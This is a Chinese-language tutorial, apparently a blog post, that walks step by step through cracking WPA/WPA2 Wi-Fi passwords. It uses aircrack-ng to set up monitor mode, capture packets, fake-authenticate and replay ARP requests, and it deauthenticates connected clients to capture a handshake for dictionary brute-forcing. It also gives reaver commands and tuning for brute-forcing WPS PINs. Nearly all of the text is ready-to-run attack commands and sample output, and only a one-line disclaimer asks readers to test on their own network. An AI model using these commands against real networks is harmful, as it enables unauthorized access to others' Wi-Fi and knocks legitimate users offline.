前言:
相對於前一段時間脆弱的WEP路由器而言,當今的路由器加密方式也大都改變為WPA/WPA2,使得無線路由器的破解難度增加。雖然如此,但還是有很多漏洞層出不窮,如WPS。退一步來說,即使加密演算法無懈可擊,我們還可以針對安全防護中最脆弱的——人——來進行破解。人的想象力實在是匱乏的很,往往設定密碼來來回回就是那麼幾類,用一個常見的弱口令字典,往往就能在10分鐘左右把其密碼暴力破解出來。這裡提供一種常見的破解方式,僅僅作為個人實驗用,最好在自己的家庭網路中測試,以免給別人帶來不便。
準備工具:
1.Linux作業系統,Windows下可以用虛擬機器代替。
2.安裝aircrack-ng(Kali作業系統自帶)
3.安裝reaver(可選)
Step1.檢視網路卡資訊,記錄無線網路卡MAC地址
ifconfig -a (以管理員許可權執行,下同)
這裡假設本機MAC地址為:00:0F:B5:88:AC:82
Step2.開啟無線網路卡,設定為監聽模式
airmon-ng start wlan0 [通道號]
其中通道號可以先不填
開啟後可以ifconfig看到多了個介面mon0,即為監聽介面
Step3.搜尋周圍的無線網路
airodump-ng mon0
找到待破解的AP,記錄BSSID(這裡假設為00:14:6C:7E:40:80),通道號(這裡假定為 6),ESSID(設為myWiFi)
這裡假設
Step4.測試無線裝置的注入
aireplay-ng -9 -e myWiFi -a 00:14:6C:7E:40:80 mon0
其中
-
-9 表示注入測試
-
-e myWiFi 是無線網路名字
-
-a 00:14:6C:7E:40:80 是接入點的MAC地址
-
mon0 是無線介面名字
返回結果的最後一行表示注入成功率,一般比較高,如果很低表示離AP太遠了
Step5.開始抓包
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output mon0
Step6. 虛擬認證(可選,只在AP為WEP加密的時候才有效)
為了AP能夠接收packet,源MAC地址必須已經連線。如果你正在注入的源MAC地址沒有連線,AP會忽略所有包併傳送一個“DeAuthentication“包。這種情況下,不會有新的IVs被建立。
缺少和AP的連線是注入失敗的一個常見原因,記住:你用來注入的MAC地址必須連線AP(通過虛擬認證或者使用已經連線的客戶端MAC)
虛擬認證:
aireplay-ng -1 0 -e myWiFi -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0
其中:
-
-1 表示虛擬認證(fake authentication)
-
0 表示重新認證的時間(秒)
-
-e myWiFi 是無線網路名稱
-
-a 00:14:6C:7E:40:80 是接入點MAC地址
-
-h 00:0F:B5:88:AC:82 是我們網路卡的MAC地址
-
mon0是無線介面名稱
成功有類似下面的輸出:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
另外還可以:
aireplay-ng -1 6000 -o 1 -q 10 -e myWiFi -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0
其中:
-
6000 - 每6000秒重新認證一次. 長週期同時也會導致傳送keep alive packets
-
-o 1 - 一次僅傳送一組包,預設傳送多組,這樣會對某些AP導致混亂
-
-q 10 - 每10秒傳送一次keep alive packets
成功有類似下面輸出:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # and so on.
Step7.ARP請求重播攻擊(可選,只在虛擬認證成功時才有效)
airodump抓包速度比較慢,為了加速包的產生,我們可以使用傳統的ARP請求重播攻擊(ARP request replay attack)來快速生成IVs(Initialization Vectors):
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0
這裡值得一提的是,從前為了破解WEP加密的WIFI,我們需要收集足夠多的IVS。如果運氣好的話,通常40位WEP(64位金鑰)用30萬IVs就可以破解,104位WEP(128位金鑰)有150萬IVs可以破解,運氣不好的話需要更多。為此我們需要用ARP注入的方式加開撲捉IVs的速度。但對於WPA/WPA2我們則沒有類
似破解辦法,只能通過撲捉握手包來進行暴力破解。
Step8.攻擊目標客戶端使其掉線,獲取握手包
這是和WEP破解最顯著的區別,由於WPA需要暴力破解,因此抓的包裡必須至少包含一個握手包,我們可以傳送一種稱之為“Deauth”的資料包來將已連線至無線路由器的合法無線客戶端斷開,此時客戶端就會重新連線無線路由器,我們也就有機會捕獲到包含WPA-PSK握手驗證的完整資料包了。命令為:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c clientMAC mon0
其中:
-
-0表示採用deauth攻擊模式,後賣弄加上攻擊次數,這裡設定為1,可以根據情況設定為1-10不等(不要設太多不然對方會頻繁掉線)
-
-a 為AP的MAC , -c為已連線的客戶端MAC
Step9.暴力破解抓下來的包
一旦捕捉到WPA handshake,我們就可以開始進行破解了:
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap -w yourdic
其中:
-
-b 00:14:6C:7E:40:80 選擇了一個我們感興趣的接入點,這是可選的,因為我們捕捉資料的時候就已經指定了此AP而忽略其他.
-
output*.cap 選擇我們在Step5裡用airodump抓下來的包.
- -w 指定一個破解的字典。破解的效率和字典的選擇有很大關係,一般選用弱口令字典,因為強口令破解時間太長,得不償失。
這裡值得一提的是,像用預先計算好的像彩虹表一樣的配對錶(Pairwise Master Keys)來進行破解也是不行的,因為口令都用ESSID加了鹽。
其他方法(WPS破解):
除了這樣通用的暴力破解外,我們還可以用reaver來破解帶WPS的路由器的PIN碼,但是對訊號的要求很高,如果AP的訊號很強,或者自己的無線網路卡很給力,也可以採用這種方式。優點是字典無關,無論路由器密碼多強都能破解出來,在我的筆記本上嘗試破解了自己家的WIFI密碼,花了大概5個小時。
以上述AP為例,可以用命令列執行
reaver -i mon0 -b 00:14:6C:7E:40:80 -a -S -vv -d2 -t 5 -c 1
其中:
-i 監聽後介面名稱
-b 目標mac地址
-a 自動檢測目標AP最佳配置
-S 使用最小的DH key(可以提高PJ速度)
-vv 顯示更多的非嚴重警告
-d 即delay每窮舉一次的閒置時間 預設為1秒
-t 即timeout每次窮舉等待反饋的最長時間
-c指定頻道可以方便找到訊號,如-c1 指定1頻道,大家檢視自己的目標頻道做相應修改 (非TP-LINK路由推薦–d9 –t9引數防止路由僵死
示例:
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
應因狀況調整引數(-c後面都已目標頻道為1作為例子)
目標訊號非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目標訊號普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目標訊號一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1
refernce:http://www.aircrack-ng.org/doku.php?id=simple_wep_crack